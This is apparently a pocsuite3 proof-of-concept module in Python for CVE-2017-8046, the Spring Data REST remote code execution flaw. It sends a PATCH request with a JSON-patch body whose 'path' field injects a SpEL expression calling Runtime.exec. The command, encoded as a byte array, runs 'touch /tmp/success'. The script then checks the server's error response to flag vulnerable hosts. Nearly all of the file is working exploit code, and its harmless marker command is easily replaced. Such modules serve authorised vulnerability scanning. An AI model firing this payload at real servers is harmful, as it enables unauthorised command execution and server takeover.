#!/usr/bin/python
# -*- coding: utf-8 -*-
# from pocsuite.api.request import req #用法和 requests 完全相同
# from pocsuite.api.poc import register
# from pocsuite.api.poc import Output, POCBase
import requests as req
from pocsuite3.api import POCBase, Output, register_poc as register

headers = {
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3970.5 Safari/537.36',
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Content-Type': 'application/json-patch+json',
    'Accept-Language': 'en',
    'Connection': 'close'
    }
# 在tmp目录下创建success文件
poc_str = '''
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
'''


def poc(url):
    if not url.startswith("http"):
        url = "http://" + url
    if "/" in url:
        url += '/customers/1'
    try:
        res = req.patch(url, data=poc_str, verify=False, timeout=5, headers=headers)
        response = res.text
    except Exception:
        response = ""
    return response


class TestPOC(POCBase):
    name = 'SpringDataRest_RCE_CVE-2017-8046'
    vulID = 'CVE-2017-8046'  # https://www.seebug.org/vuldb/ssvid-97160
    author = ['debug']
    vulType = 'RCE'
    version = '1.0'  # default version: 1.0
    references = ['https://www.cnblogs.com/co10rway/p/9380441.html']
    desc = '''
		   Spring Data REST是一个构建在Spring Data之上，为了帮助开发者更加容易地开发REST风格的Web服务。
           在REST API的Patch方法中（实现[RFC6902](https://tools.ietf.org/html/rfc6902)），
           path的值被传入`setValue`，导致执行了SpEL表达式，触发远程命令执行漏洞。
		   '''
    vulDate = '2020-02-07'
    createDate = '2020-02-07'
    updateDate = '2020-02-07'
    appName = 'Spring Data REST '
    appVersion = '2.5.12, 2.6.7, 3.0 RC3'
    appPowerLink = ''
    samples = ['']

    def _attack(self):
        '''attack mode'''
        return self._verify()

    def _verify(self):
        '''verify mode'''
        result = {}
        response = poc(self.url)
        if 'cause":{"cause":null,"message":"EL1010E:' in response and '.getRuntime().exec' not in response:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url + 'SpringDataRest_RCE_CVE-2017-8046' + ' is exist!'
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)
